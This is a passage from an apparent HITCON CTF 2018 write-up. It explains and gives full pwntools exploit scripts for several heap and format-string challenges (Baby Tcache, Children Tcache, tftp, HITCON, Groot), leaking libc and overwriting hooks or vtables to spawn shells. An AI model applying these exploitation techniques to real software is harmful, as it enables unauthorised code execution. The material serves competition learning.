kernel_mod = kernel[:<span class="hljs-number">0x14d</span>] + p64( <span class="hljs-number">0x8002000000</span> ) + p64( user_stack + <span class="hljs-number">0x100</span> )
kernel_mod += kernel[<span class="hljs-number">0x15d</span>:<span class="hljs-number">0x9a4</span>] + <span class="hljs-string">'\x90'</span> * <span class="hljs-number">0x75</span>

sleep(<span class="hljs-number">1</span>)
y.send( kernel_mod )

y.interactive()
</code></pre><h3 id="baby-tcache"><a class="header-link" href="#baby-tcache"></a>Baby Tcache</h3>
<p>Off-by-one null byte on heap.
Overwrite next chunck inuse bit and set proper pre_size.
Free next chunck and  it will merge to previous chunck.
At this point, there is a overlap large unsorted bin.
Free one 0x20 chunck and malloc property size.
Let unsorted bin fd overwrite tcache fd.
Partially ovewrite last two bytes to  tcache fd point to <code>_IO_2_1_stdout_</code>.
Then, you can malloc a address at <code>_IO_2_1_stdout_</code>.
Properly modify the value of <code>_IO_2_1_stdout_</code>.</p>
<ul class="list">
<li>Set _flag = 0x800</li>
<li>Overwrite last byte of write_base to zero</li>
<li>_IO_read_end eqaul to _IO_write_base</li>
</ul>
<pre class="hljs"><code>file = {
    _flags = <span class="hljs-number">0xfbad2887</span>,
    _IO_read_ptr = <span class="hljs-number">0x7ffff7dd07e3</span> &lt;_IO_2_1_stdout_+<span class="hljs-number">131</span>&gt; <span class="hljs-string">"<span class="hljs-subst">\n</span>"</span>,
    _IO_read_end = <span class="hljs-number">0x7ffff7dd07e3</span> &lt;_IO_2_1_stdout_+<span class="hljs-number">131</span>&gt; <span class="hljs-string">"<span class="hljs-subst">\n</span>"</span>,
    _IO_read_base = <span class="hljs-number">0x7ffff7dd07e3</span> &lt;_IO_2_1_stdout_+<span class="hljs-number">131</span>&gt; <span class="hljs-string">"<span class="hljs-subst">\n</span>"</span>,
    _IO_write_base = <span class="hljs-number">0x7ffff7dd07e3</span> &lt;_IO_2_1_stdout_+<span class="hljs-number">131</span>&gt; <span class="hljs-string">"<span class="hljs-subst">\n</span>"</span>,
    _IO_write_ptr = <span class="hljs-number">0x7ffff7dd07e3</span> &lt;_IO_2_1_stdout_+<span class="hljs-number">131</span>&gt; <span class="hljs-string">"<span class="hljs-subst">\n</span>"</span>,
    _IO_write_end = <span class="hljs-number">0x7ffff7dd07e3</span> &lt;_IO_2_1_stdout_+<span class="hljs-number">131</span>&gt; <span class="hljs-string">"<span class="hljs-subst">\n</span>"</span>,
    ...
</code></pre><p>Beacause we don&#39;t know libc address, we partially ovewrite last byte of _IO_read_base.
Thanks to off-by-one, I can overwrite last byte of _IO_write_base to zero.
Next time call puts. It will print from _IO_write_base and leak libc address.</p>
<p>Malloc 0x100, there are two heap with same address.
Double free the same address and modify the fd to <code>__free_hook</code>.
Modify <code>__free_hook</code> value to <code>one_gadget</code> and get shell.</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn import *

<span class="hljs-comment">#r = process(["./baby_tcache"])</span>
r = remote(<span class="hljs-string">"52.68.236.186"</span>, <span class="hljs-number">56746</span>)
def <span class="hljs-keyword">add</span><span class="bash">(size,data):
</span>        r.sendlineafter(<span class="hljs-string">"choice:"</span>,<span class="hljs-string">"1"</span>)
        r.sendlineafter(<span class="hljs-string">":"</span>,str(size))
        r.sendafter(<span class="hljs-string">":"</span>,data)

def remove(idx):
        r.sendlineafter(<span class="hljs-string">"choice:"</span>,<span class="hljs-string">"2"</span>)
        r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))

<span class="hljs-keyword">add</span><span class="bash">(0x500,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#0</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,<span class="hljs-string">"a"</span>)  <span class="hljs-comment">#1</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,<span class="hljs-string">"a"</span>)  <span class="hljs-comment">#2</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x4f0,<span class="hljs-string">"a"</span>)  <span class="hljs-comment">#3</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0xf0,<span class="hljs-string">"a"</span>)  <span class="hljs-comment">#4</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x28,<span class="hljs-string">"a"</span>*0x20+p64(0x570)) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">3</span>)
remove(<span class="hljs-number">1</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x500,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#0</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x100,p16(0x4760)) <span class="hljs-comment">#1</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#3</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,p64(0x800)+<span class="hljs-string">"\x00"</span>*0x9) <span class="hljs-comment">#5</span>
</span>
data = r.recvuntil(<span class="hljs-string">"$"</span>)
libc = u64(data[<span class="hljs-number">8</span>:<span class="hljs-number">16</span>])-<span class="hljs-number">0</span>x3ed8b0
print hex(libc)
remove(<span class="hljs-number">3</span>)
remove(<span class="hljs-number">1</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x100,p64(libc+0x3ed8e8))
</span><span class="hljs-keyword">add</span><span class="bash">(0x100,p64(0x1234))
</span><span class="hljs-keyword">add</span><span class="bash">(0x100,p64(libc+0x4f322))
</span>remove(<span class="hljs-number">0</span>)
r.interactive()
</code></pre><h3 id="children-tcache"><a class="header-link" href="#children-tcache"></a>Children Tcache</h3>
<p>strcpy will cause off-one-byte null byte.
Beacause of the null terminating, we can&#39;t set pre_size and inuse bit at same time.
So we first set inuse bit of the next chunck.
Repeat free and malloc to fix pre_size to the correct value.
Free next chunck and get a overlapping unsorted bin.
Malloc a proper size to let unsorted bin fd overwrite to one heap content.
Call <code>Show heap</code> to leak libc address.</p>
<p>Malloc 0x30, there are two heap with same address.
Double free the same address and modify the fd to <code>__free_hook</code>.
Modify <code>__free_hook</code> value to <code>one_gadget</code> and get shell.</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn import *

<span class="hljs-comment">#r = process(["./children_tcache"])</span>
r = remote(<span class="hljs-string">"54.178.132.125"</span>, <span class="hljs-number">8763</span>)
def <span class="hljs-keyword">add</span><span class="bash">(size,data):
</span>        r.sendlineafter(<span class="hljs-string">"choice:"</span>,<span class="hljs-string">"1"</span>)
        r.sendlineafter(<span class="hljs-string">":"</span>,str(size))
        r.sendafter(<span class="hljs-string">":"</span>,data)

def show(idx):
        r.sendlineafter(<span class="hljs-string">"choice:"</span>,<span class="hljs-string">"2"</span>)
        r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))

def remove(idx):
        r.sendlineafter(<span class="hljs-string">"choice:"</span>,<span class="hljs-string">"3"</span>)
        r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))

<span class="hljs-keyword">add</span><span class="bash">(0x500,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#0</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,<span class="hljs-string">"a"</span>)  <span class="hljs-comment">#1</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,<span class="hljs-string">"a"</span>)  <span class="hljs-comment">#2</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x4f0,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#3</span>
</span><span class="hljs-keyword">add</span><span class="bash">(0x20,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#4</span>
</span>
remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x28,<span class="hljs-string">"a"</span>*0x28) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x27,<span class="hljs-string">"a"</span>*0x27) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x26,<span class="hljs-string">"a"</span>*0x26) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x25,<span class="hljs-string">"a"</span>*0x25) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x24,<span class="hljs-string">"a"</span>*0x24) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x23,<span class="hljs-string">"a"</span>*0x23) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">2</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x22,<span class="hljs-string">"a"</span>*0x20+p16(0x570)) <span class="hljs-comment">#2</span>
</span>remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">3</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x500,<span class="hljs-string">"a"</span>) <span class="hljs-comment">#0</span>
</span>show(<span class="hljs-number">1</span>)
libc = u64(r.recvline()[:-<span class="hljs-number">1</span>].ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>))-<span class="hljs-number">0</span>x3ebca0
print hex(libc)

<span class="hljs-keyword">add</span><span class="bash">(0x30,<span class="hljs-string">"a"</span>)
</span>remove(<span class="hljs-number">1</span>)
remove(<span class="hljs-number">3</span>)
<span class="hljs-keyword">add</span><span class="bash">(0x30,p64(libc+0x3ed8e8))
</span><span class="hljs-keyword">add</span><span class="bash">(0x30,<span class="hljs-string">"a"</span>)
</span><span class="hljs-keyword">add</span><span class="bash">(0x30,p64(libc++0x4f322))
</span>remove(<span class="hljs-number">1</span>)


r.interactive()
</code></pre><h3 id="tftp"><a class="header-link" href="#tftp"></a>tftp</h3>
<p>There is a format string vulnerability when mode is unknown.
Beacuse syslog take second parameter as a format string.
Now we have a arbitrarily write.</p>
<pre class="hljs"><code>  ...
    <span class="hljs-built_in">sprintf</span>((<span class="hljs-keyword">char</span> *)(v32 + <span class="hljs-number">348</span>), <span class="hljs-string">"unknown mode %s"</span>, *(_QWORD *)(v32 + <span class="hljs-number">288</span>));
    qmemcpy(&amp;v30, (<span class="hljs-keyword">const</span> <span class="hljs-keyword">void</span> *)(v32 + <span class="hljs-number">344</span>), <span class="hljs-number">0x200</span>uLL);
    sub_400E9F((<span class="hljs-keyword">unsigned</span> __int64)&amp;v31, v32 + <span class="hljs-number">88</span>);
    syslog(<span class="hljs-number">3</span>, (<span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *)(v32 + <span class="hljs-number">348</span>));
    sub_400EF0(v32);
    <span class="hljs-keyword">return</span> <span class="hljs-number">1L</span>L;
  ...
</code></pre><p>Because of no PIE, we can modify <code>dest</code> and <code>buf</code> without knowing code base.
We can craft a structure on .bss and <code>dest</code> point to it.
We also make <code>buf</code> point to near the structure we create.
So we can take input and craft the structure at the same time.
Use opcode 0x4 to leak libc by properly craft the structure.</p>
<pre class="hljs"><code>...
<span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> ( *((_DWORD *)dest + <span class="hljs-number">79</span>) &gt; <span class="hljs-number">3</span> &amp;&amp;
    ntohs<span class="hljs-comment">(*((_WORD *)</span>buf + <span class="hljs-number">1</span>)) == *((_WORD *)dest + <span class="hljs-number">156</span>) )
<span class="hljs-comment">{
    ++*((_WORD *)dest + 156);
    ++*((_DWORD *)dest + 77);
    sub_4011D0(dest, v3);
}</span>
</code></pre><p>sub_4011D0</p>
<pre class="hljs"><code>...
<span class="hljs-keyword">if</span> ( ntohs<span class="hljs-comment">(*(_WORD *)</span><span class="hljs-comment">(*(_QWORD *)</span>(dest + <span class="hljs-number">328</span>) + <span class="hljs-number">2</span>LL)) 
    == *(_WORD *)(dest + <span class="hljs-number">312</span>) )
<span class="hljs-comment">{
    *_errno_location() = 0;
    write(1, *(dest + 328), *(dest + 320) + 4); // arbitrarily read
    ...
}</span>
</code></pre><p>Because the libc version is 2.23, we can modify stdout vtable to anywhere.
We create a vtable where at offest 0x38 is system address.
Modify stdout vtable to vtable we create.
Modify stdout flag to 0x6873(&quot;sh&quot;).
Wait 60 second to trigger alarm handler to call puts.
It will call system(&quot;sh&quot;) to get shell.</p>
<pre class="hljs"><code>from pwn import *

context.arch = "amd64"

r = process(["./tftp"])
#r = remote("52.68.37.204", 48763)
dest = 0x604a00
def write(addr,val):
        r.send("<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00<span class="hljs-variable">%{}c%</span>157<span class="hljs-keyword">$n\x00".format</span>(addr-0xd))
        r.recvrepeat(.1)
        r.send("<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00<span class="hljs-variable">%{}c%</span>158<span class="hljs-keyword">$n\x00".format</span>(val-0xd))
        r.recvrepeat(.1)

def write_byte(addr,val):
        r.send("<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00<span class="hljs-variable">%{}c%</span>157<span class="hljs-keyword">$n\x00".format</span>(addr-0xd))
        val -= 0xd
        if val &lt;= 0:
                val+=0x100
        r.recvrepeat(.1)
        r.send("<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00<span class="hljs-variable">%{}c%</span>158<span class="hljs-keyword">$hhn\x00".format</span>(val))
        r.recvrepeat(.1)


write_byte(0x604001,0x1)
write(0x604030,dest-0x50)
write(0x604038,dest)

data = [0]*0x30
data[0] = 1
data[0x29] = 0x604000-2
data[0x28] = 0x16

r.send("<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>04<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>00".ljust(0x50,'<span class="hljs-symbol">\x</span>00')+flat(data))
r.recvn(0x12)
libc = u64(r.recvn(8))-0x3c5620
print hex(libc)
one_gadget = libc+0x45390

write(0x604c00,one_gadget&amp;0xffffff)
write(0x604c03,one_gadget&gt;&gt;24)
write(0x604bc8,0x6873)

value = 0x10
fmt = "<span class="hljs-variable">%{}c%</span>66<span class="hljs-keyword">$n".format</span>(value-0xd)
fmt = fmt.ljust(15,"0")
addr = libc+0x3c56f8+3
payload = "<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00" + fmt + p64(addr)
r.send(payload)
r.recvrepeat(.1)
value = 0x604c00-0x38
fmt = "<span class="hljs-variable">%{}c%</span>66<span class="hljs-keyword">$n".format</span>(value-0xd)
fmt = fmt.ljust(15,"0")
addr = libc+0x3c56f8
payload = "<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00" + fmt + p64(addr)
r.send(payload)
r.recvrepeat(.1)

value = 0x6873
fmt = "<span class="hljs-variable">%{}c%</span>66<span class="hljs-keyword">$n".format</span>(value-0xd)
fmt = fmt.ljust(15,"0")
addr = libc+0x3c5620
payload = "<span class="hljs-symbol">\x</span>00<span class="hljs-symbol">\x</span>02<span class="hljs-symbol">\x</span>30<span class="hljs-symbol">\x</span>00" + fmt + p64(addr)
r.send(payload)
r.recvrepeat(.1)
r.interactive() # wait 60 second to get shell
</code></pre><h3 id="hitcon"><a class="header-link" href="#hitcon"></a>HITCON</h3>
<p>The program is a simulated HITCON conference.</p>
<p>we can arrange the session like this</p>
<pre class="hljs"><code><span class="hljs-code">----------------------------------------
|     R0     |     R1     |     R2     |
----------------------------------------</span>
<span class="hljs-section">| Beelzemon  | Armagemon  |   Jesmon   |
----------------------------------------</span>
<span class="hljs-section">|  Angelboy  | david942j  |   Orange   |
----------------------------------------</span>
<span class="hljs-section">| Apocalymon |  Omnimon   | Chronomon  |
----------------------------------------</span>
</code></pre><p>I tested that there are four speakers can let us ask questions.  </p>
<p>nice speaker
1.david942j
2.Angelboy
3.Orange
normal speaker
4.Jesmon</p>
<p>A nice audience will go to a nice speaker&#39;s room first.
If there are any speaker can let audience ask question, nice audience will answer first.
It&#39;s multi-thread program. I spent a long time looking for race condition or asking for three questions but I couldn&#39;t find it.</p>
<p>Later, I found out that I can solve the ask twice.</p>
<pre class="hljs"><code><span class="hljs-code">----------------------------------------
|     R0     |     R1     |     R2     |
----------------------------------------</span>
<span class="hljs-section">| Beelzemon  | Armagemon  |   Jesmon   |
----------------------------------------</span>
<span class="hljs-section">|  Angelboy  | david942j  |   Orange   |
----------------------------------------</span>
<span class="hljs-section">| Apocalymon |  Omnimon   | Chronomon  |
----------------------------------------</span>
</code></pre><p>There are two chance to ask questions
The vulnerability is in the input data when I asked.
The input data can overflow the question buffer through strlen and strncpy functions.</p>
<h4 id="leak---first-question"><a class="header-link" href="#leak---first-question"></a>leak - first question</h4>
<p>We can cover the lowest byte of the pointer and we can get the thread stack address.</p>
<pre class="hljs"><code><span class="hljs-number">0x00007f48b0bf0000</span> <span class="hljs-number">0x00007f48b0bf1000</span> ---p      mapped
<span class="hljs-number">0x00007f48b0bf1000</span> <span class="hljs-number">0x00007f48b13f1000</span> rw-p      mapped   &lt;------------------   get this address
<span class="hljs-number">0x00007f48b13f1000</span> <span class="hljs-number">0x00007f48b13f2000</span> ---p      mapped
<span class="hljs-number">0x00007f48b13f2000</span> <span class="hljs-number">0x00007f48b1bf2000</span> rw-p      mapped
<span class="hljs-number">0x00007f48b1bf2000</span> <span class="hljs-number">0x00007f48b1bf3000</span> ---p      mapped
<span class="hljs-number">0x00007f48b1bf3000</span> <span class="hljs-number">0x00007f48b23f3000</span> rw-p      mapped
<span class="hljs-number">0x00007f48b23f3000</span> <span class="hljs-number">0x00007f48b240a000</span> r-xp      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libgcc_s</span>.<span class="hljs-title">so</span>.1</span>
<span class="hljs-number">0x00007f48b240a000</span> <span class="hljs-number">0x00007f48b2609000</span> ---p      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libgcc_s</span>.<span class="hljs-title">so</span>.1</span>
<span class="hljs-number">0x00007f48b2609000</span> <span class="hljs-number">0x00007f48b260a000</span> r--p      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libgcc_s</span>.<span class="hljs-title">so</span>.1</span>
<span class="hljs-number">0x00007f48b260a000</span> <span class="hljs-number">0x00007f48b260b000</span> rw-p      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libgcc_s</span>.<span class="hljs-title">so</span>.1</span>
<span class="hljs-number">0x00007f48b260b000</span> <span class="hljs-number">0x00007f48b27a8000</span> r-xp      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libm</span>-2.27.<span class="hljs-title">so</span></span>
<span class="hljs-number">0x00007f48b27a8000</span> <span class="hljs-number">0x00007f48b29a7000</span> ---p      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libm</span>-2.27.<span class="hljs-title">so</span></span>
<span class="hljs-number">0x00007f48b29a7000</span> <span class="hljs-number">0x00007f48b29a8000</span> r--p      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libm</span>-2.27.<span class="hljs-title">so</span></span>
<span class="hljs-number">0x00007f48b29a8000</span> <span class="hljs-number">0x00007f48b29a9000</span> rw-p      /<span class="hljs-class"><span class="hljs-keyword">lib</span>/<span class="hljs-title">x86_64</span>-<span class="hljs-title">linux</span>-<span class="hljs-title">gnu</span>/<span class="hljs-title">libm</span>-2.27.<span class="hljs-title">so</span></span>
<span class="hljs-number">0x00007f48b29a9000</span> <span class="hljs-number">0x00007f48b2b90000</span> r-xp      /home/tens/CTF/<span class="hljs-number">2018</span>/HITCON/pwn/hitcon/libc.so.<span class="hljs-number">6</span>
<span class="hljs-number">0x00007f48b2b90000</span> <span class="hljs-number">0x00007f48b2d90000</span> ---p      /home/tens/CTF/<span class="hljs-number">2018</span>/HITCON/pwn/hitcon/libc.so.<span class="hljs-number">6</span>
<span class="hljs-number">0x00007f48b2d90000</span> <span class="hljs-number">0x00007f48b2d94000</span> r--p      /home/tens/CTF/<span class="hljs-number">2018</span>/HITCON/pwn/hitcon/libc.so.<span class="hljs-number">6</span>
<span class="hljs-number">0x00007f48b2d94000</span> <span class="hljs-number">0x00007f48b2d96000</span> rw-p      /home/tens/CTF/<span class="hljs-number">2018</span>/HITCON/pwn/hitcon/libc.so.<span class="hljs-number">6</span>
</code></pre><p>Now we have thread stack and libc address.</p>
<h4 id="second-question"><a class="header-link" href="#second-question"></a>second question</h4>
<p>When we ask the question, we can override a pointer so that we got a arbitrarily write. 
We override the input name function return address so we can control rip.
Covered into one_gadget to get shell.</p>
<pre class="hljs"><code>#!/usr/bin/env python
# -*- coding: utf<span class="hljs-number">-8</span> -*-
from pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> <span class="hljs-built_in">random</span>
host = <span class="hljs-string">'13.115.73.78'</span>
port = <span class="hljs-number">31733</span>

<span class="hljs-built_in">binary</span> = <span class="hljs-string">"./hitcon"</span>
context.<span class="hljs-built_in">binary</span> = <span class="hljs-built_in">binary</span>
elf = ELF(<span class="hljs-built_in">binary</span>)
<span class="hljs-keyword">try</span>:
  libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
  <span class="hljs-built_in">log</span>.success(<span class="hljs-string">"libc load success"</span>)
  system_off = libc.symbols.system
  <span class="hljs-built_in">log</span>.success(<span class="hljs-string">"system_off = "</span>+<span class="hljs-built_in">hex</span>(system_off))
except:
  <span class="hljs-built_in">log</span>.failure(<span class="hljs-string">"libc not found !"</span>)

def Schedule(t ,Author):
  r.recvuntil(<span class="hljs-string">" Exit\n"</span>)
  r.sendline(<span class="hljs-string">"3"</span>)
  time.sleep(<span class="hljs-number">0.01</span>)
  r.sendline(<span class="hljs-built_in">str</span>(t) + <span class="hljs-string">" "</span> + <span class="hljs-built_in">str</span>(Author))
  time.sleep(<span class="hljs-number">0.01</span>)
  r.sendline(<span class="hljs-string">"0 0"</span>)

def start():
  r.recvuntil(<span class="hljs-string">" Exit\n"</span>)
  r.sendline(<span class="hljs-string">"4"</span>)

<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
  r = process([<span class="hljs-built_in">binary</span>, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})

<span class="hljs-keyword">else</span>:
  r = remote(host ,port)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:

  da = <span class="hljs-number">1</span>
  orange = <span class="hljs-number">4</span>
  angel = <span class="hljs-number">7</span>
  leak = <span class="hljs-number">9</span>

  Schedule(<span class="hljs-number">3</span>,leak)
  Schedule(<span class="hljs-number">2</span>,<span class="hljs-number">8</span>)
  Schedule(<span class="hljs-number">1</span>,<span class="hljs-number">2</span>)

  Schedule(<span class="hljs-number">4</span>,angel)
  Schedule(<span class="hljs-number">5</span>,da)
  Schedule(<span class="hljs-number">6</span>,orange)

  Schedule(<span class="hljs-number">7</span>,<span class="hljs-number">5</span>)
  Schedule(<span class="hljs-number">8</span>,<span class="hljs-number">3</span>)
  Schedule(<span class="hljs-number">9</span>,<span class="hljs-number">6</span>)
  start()

  r.recvuntil(<span class="hljs-string">"go?\n"</span>)
  r.sendline(<span class="hljs-string">"2"</span>)
  r.recvuntil(<span class="hljs-string">"Any questions?\n"</span>)

  r.sendline(<span class="hljs-string">"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaa@"</span>)
  r.recvuntil(<span class="hljs-string">"alaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaa"</span>)
  addr = u64(r.recv(<span class="hljs-number">6</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>))
  <span class="hljs-built_in">print</span>(<span class="hljs-string">"addr = {}"</span>.format(<span class="hljs-built_in">hex</span>(addr)))
  libc = addr  + <span class="hljs-number">0x15b88c0</span>
  <span class="hljs-built_in">print</span>(<span class="hljs-string">"libc = {}"</span>.format(<span class="hljs-built_in">hex</span>(libc)))
  <span class="hljs-keyword">if</span> (libc &amp; <span class="hljs-number">0xfff</span>) != <span class="hljs-number">0</span>:
    <span class="hljs-built_in">print</span>(<span class="hljs-string">"fuck libc"</span>)
    r.close()
    <span class="hljs-built_in">exit</span>()
  magic = libc+<span class="hljs-number">0x0010A38C</span>
  <span class="hljs-built_in">print</span>(<span class="hljs-string">"magic = {}"</span>.format(<span class="hljs-built_in">hex</span>(magic)))
  r.sendline(<span class="hljs-string">""</span>)
  time.sleep(<span class="hljs-number">1</span>)
  #raw_input(<span class="hljs-string">"@"</span>)
  r.sendline(<span class="hljs-string">"0"</span>)
  r.recvuntil(<span class="hljs-string">"Any questions?\n"</span>)
  ret_addr = libc - <span class="hljs-number">0x15b9248</span>
  r.sendline(<span class="hljs-string">"D"</span>*<span class="hljs-number">91</span> + p64(ret_addr + <span class="hljs-number">0x90</span>))
  time.sleep(<span class="hljs-number">0.1</span>)
  r.sendline(p64(magic))
  r.interactive()

</code></pre><h3 id="groot"><a class="header-link" href="#groot"></a>Groot</h3>
<h4 id="vulnerability"><a class="header-link" href="#vulnerability"></a>Vulnerability</h4>
<ul class="list">
<li>Uninitialized pointer on children
Creating a directory with <code>mkdir</code> does not set children to null. Normally this does not have effect because the <code>rm</code> command clears the children field of the deleted directory. However when deleting a nested directory like <code>./a/b/c</code>, it actually only clears the children field of <code>a</code>, letting <code>b</code> and <code>c</code> removed but with the children field unchecked.
What this does is the next time we use <code>mkdir</code> the directory created has inherently a children pointing to <code>c</code>, leading to a UAF vulnerability.</li>
</ul>
<h4 id="leak"><a class="header-link" href="#leak"></a>Leak</h4>
<ul class="list">
<li>Heap address<ul class="list">
<li>Leaking heap address is pretty straight forward.</li>
</ul>
</li>
</ul>
<pre class="hljs"><code><span class="hljs-built_in">mkdir</span> <span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x38
<span class="hljs-keyword">cd</span> <span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x38
<span class="hljs-built_in">mkdir</span> <span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x38
<span class="hljs-keyword">cd</span> <span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x38
<span class="hljs-built_in">mkdir</span> <span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x38
<span class="hljs-keyword">cd</span> ../../
rm <span class="hljs-string">'a'</span>*<span class="hljs-number">0</span>x38
<span class="hljs-built_in">mkdir</span> <span class="hljs-keyword">a</span>
<span class="hljs-keyword">ls</span> <span class="hljs-keyword">a</span>
</code></pre><ul class="list">
<li>Libc address<ul class="list">
<li>Leaking libc address is a lot more complex. Because the biggest size we can allocate is in fastbin range.</li>
<li>The idea is to first create a UAF pointer like above.</li>
<li>Exhaust the top chunk to trigger malloc consolidate. This will create libc address on the heap.</li>
<li>Make the libc address be on the UAF pointer some how some way.</li>
<li>Note that the free chunk where the UAF pointer is pointed can&#39;t be allocated during the proccess above. Therefore, it&#39;s super complex and even I can&#39;t explain how I did it... QAQ</li>
<li>Also, <code>ls</code> allocates a chunk and doesn&#39;t free it, so it can be used to exhaust heap. I discovered this pretty late, so I used both <code>mkfile</code> and <code>ls</code> to exhaust heap. The code is pretty messy because of this...</li>
</ul>
</li>
</ul>
<h4 id="exploit"><a class="header-link" href="#exploit"></a>Exploit</h4>
<ul class="list">
<li>With libc, heap address and UAF, it&#39;s not too hard to exploit using tcache.</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python2</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">from</span> IPython <span class="hljs-keyword">import</span> embed
<span class="hljs-keyword">import</span> re

context.arch = <span class="hljs-string">'amd64'</span>

r = remote(<span class="hljs-string">'127.0.0.1'</span>, <span class="hljs-number">7123</span>)
lib = ELF(<span class="hljs-string">'./libc.so.6'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cmd</span><span class="hljs-params">(data)</span>:</span>
    r.sendlineafter(<span class="hljs-string">'$'</span>, data)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mkfile</span><span class="hljs-params">(name, data)</span>:</span>
    cmd(<span class="hljs-string">'mkfile '</span>+name) 
    r.sendlineafter(<span class="hljs-string">'Content?'</span>, data)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mkdir</span><span class="hljs-params">(name)</span>:</span>
    cmd(<span class="hljs-string">'mkdir '</span>+name)
